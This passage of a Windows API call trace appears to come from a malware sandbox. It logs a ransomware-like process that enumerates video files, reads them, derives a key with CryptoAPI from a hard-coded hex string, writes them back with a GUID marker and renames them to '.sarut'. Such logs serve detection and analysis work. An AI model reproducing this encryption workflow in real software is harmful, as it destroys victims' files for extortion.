out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.659] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.660] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.660] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.660] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.660] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.660] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.660] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.660] CloseHandle (hObject=0x5c4) returned 1 [0269.664] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0269.664] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0269.664] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0269.664] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PNAkUcrgBy4hgy2ZfZzW.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\pnakucrgby4hgy2zfzzw.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PNAkUcrgBy4hgy2ZfZzW.flv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\pnakucrgby4hgy2zfzzw.flv.sarut")) returned 1 [0269.665] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.665] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.666] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0269.666] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5eeb770, ftCreationTime.dwHighDateTime=0x1d4c69c, ftLastAccessTime.dwLowDateTime=0x611559b0, ftLastAccessTime.dwHighDateTime=0x1d4c813, ftLastWriteTime.dwLowDateTime=0x611559b0, ftLastWriteTime.dwHighDateTime=0x1d4c813, nFileSizeHigh=0x0, nFileSizeLow=0x17670, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qm7ufohlk1udTd4Kn5.mkv", cAlternateFileName="QM7UFO~1.MKV")) returned 1 [0269.666] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.666] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.666] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.666] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Qm7ufohlk1udTd4Kn5.mkv") returned=".mkv" [0269.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Qm7ufohlk1udTd4Kn5.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qm7ufohlk1udtd4kn5.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.667] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=95856) returned 1 [0269.667] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.669] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1764a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.669] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.671] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.671] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.671] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.671] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x17670, lpOverlapped=0x0) returned 1 [0269.674] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.674] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.674] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.675] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.675] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.676] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.676] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.676] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.676] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.676] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.676] GetLastError () returned 0x0 [0269.676] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.676] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.676] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.676] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x17670) returned 0x311d708 [0269.677] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.677] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.677] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x1766b, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x1766b, lpOverlapped=0x0) returned 1 [0269.677] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.677] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17670, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.677] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.677] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.678] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.678] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.678] CloseHandle (hObject=0x5c4) returned 1 [0269.682] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Qm7ufohlk1udTd4Kn5.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qm7ufohlk1udtd4kn5.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Qm7ufohlk1udTd4Kn5.mkv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qm7ufohlk1udtd4kn5.mkv.sarut")) returned 1 [0269.682] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.682] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.684] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02e64a0, ftCreationTime.dwHighDateTime=0x1d4cb38, ftLastAccessTime.dwLowDateTime=0x4432d880, ftLastAccessTime.dwHighDateTime=0x1d4d0e8, ftLastWriteTime.dwLowDateTime=0x4432d880, ftLastWriteTime.dwHighDateTime=0x1d4d0e8, nFileSizeHigh=0x0, nFileSizeLow=0xf23d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qswPmOaFTerp.flv", cAlternateFileName="QSWPMO~1.FLV")) returned 1 [0269.684] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qswPmOaFTerp.flv") returned=".flv" [0269.684] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qswPmOaFTerp.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qswpmoafterp.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.684] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=62013) returned 1 [0269.684] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.687] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf217, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.687] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.688] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xf23d, lpOverlapped=0x0) returned 1 [0269.689] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.689] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.689] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.689] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.690] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.690] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.690] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.690] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.691] GetLastError () returned 0x0 [0269.691] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.691] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.691] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf23d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.691] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.691] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.692] CloseHandle (hObject=0x5c4) returned 1 [0269.696] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qswPmOaFTerp.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qswpmoafterp.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qswPmOaFTerp.flv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qswpmoafterp.flv.sarut")) returned 1 [0269.698] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed062b90, ftCreationTime.dwHighDateTime=0x1d4d50e, ftLastAccessTime.dwLowDateTime=0x35336190, ftLastAccessTime.dwHighDateTime=0x1d4d540, ftLastWriteTime.dwLowDateTime=0x35336190, ftLastWriteTime.dwHighDateTime=0x1d4d540, nFileSizeHigh=0x0, nFileSizeLow=0x6c82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qVm94.swf", cAlternateFileName="")) returned 1 [0269.698] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qVm94.swf") returned=".swf" [0269.698] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qVm94.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qvm94.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.698] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=27778) returned 1 [0269.698] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.701] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6c5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.701] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.702] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.702] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x6c82, lpOverlapped=0x0) returned 1 [0269.703] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.703] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.703] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.703] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.704] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.704] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.704] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.704] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.704] GetLastError () returned 0x0 [0269.704] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.705] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.705] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6c82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.705] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.705] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.705] CloseHandle (hObject=0x5c4) returned 1 [0269.708] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qVm94.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qvm94.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qVm94.swf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qvm94.swf.sarut")) returned 1 [0269.820] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcee27630, ftCreationTime.dwHighDateTime=0x1d4cf9d, ftLastAccessTime.dwLowDateTime=0x3f64fe0, ftLastAccessTime.dwHighDateTime=0x1d4d4da, ftLastWriteTime.dwLowDateTime=0x3f64fe0, ftLastWriteTime.dwHighDateTime=0x1d4d4da, nFileSizeHigh=0x0, nFileSizeLow=0xd828, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QWssd9nb3vYvw99.flv", cAlternateFileName="QWSSD9~1.FLV")) returned 1 [0269.820] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QWssd9nb3vYvw99.flv") returned=".flv" [0269.820] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QWssd9nb3vYvw99.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qwssd9nb3vyvw99.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.821] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=55336) returned 1 [0269.821] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.823] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd802, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.823] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.825] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xd828, lpOverlapped=0x0) returned 1 [0269.826] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.826] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.826] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.826] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.827] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.827] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.827] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.827] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.827] GetLastError () returned 0x0 [0269.827] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.827] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.828] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd828, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.828] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.828] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.828] CloseHandle (hObject=0x5c4) returned 1 [0269.832] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QWssd9nb3vYvw99.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qwssd9nb3vyvw99.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QWssd9nb3vYvw99.flv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qwssd9nb3vyvw99.flv.sarut")) returned 1 [0269.834] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x315cdbe0, ftCreationTime.dwHighDateTime=0x1d4d384, ftLastAccessTime.dwLowDateTime=0x5dd24d80, ftLastAccessTime.dwHighDateTime=0x1d4d515, ftLastWriteTime.dwLowDateTime=0x5dd24d80, ftLastWriteTime.dwHighDateTime=0x1d4d515, nFileSizeHigh=0x0, nFileSizeLow=0x189ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RLWhOE4xU0nYY34j.mkv", cAlternateFileName="RLWHOE~1.MKV")) returned 1 [0269.834] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RLWhOE4xU0nYY34j.mkv") returned=".mkv" [0269.834] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RLWhOE4xU0nYY34j.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rlwhoe4xu0nyy34j.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.834] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=100810) returned 1 [0269.834] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.837] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x189a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.837] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.838] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x189ca, lpOverlapped=0x0) returned 1 [0269.839] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.839] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.839] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.840] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.840] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.840] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.840] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.841] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.841] GetLastError () returned 0x0 [0269.841] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.841] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.842] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x189ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.842] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.842] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.842] CloseHandle (hObject=0x5c4) returned 1 [0269.844] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RLWhOE4xU0nYY34j.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rlwhoe4xu0nyy34j.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\RLWhOE4xU0nYY34j.mkv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rlwhoe4xu0nyy34j.mkv.sarut")) returned 1 [0269.846] FindNextFileW (in: hFindFile=0x30914e0, 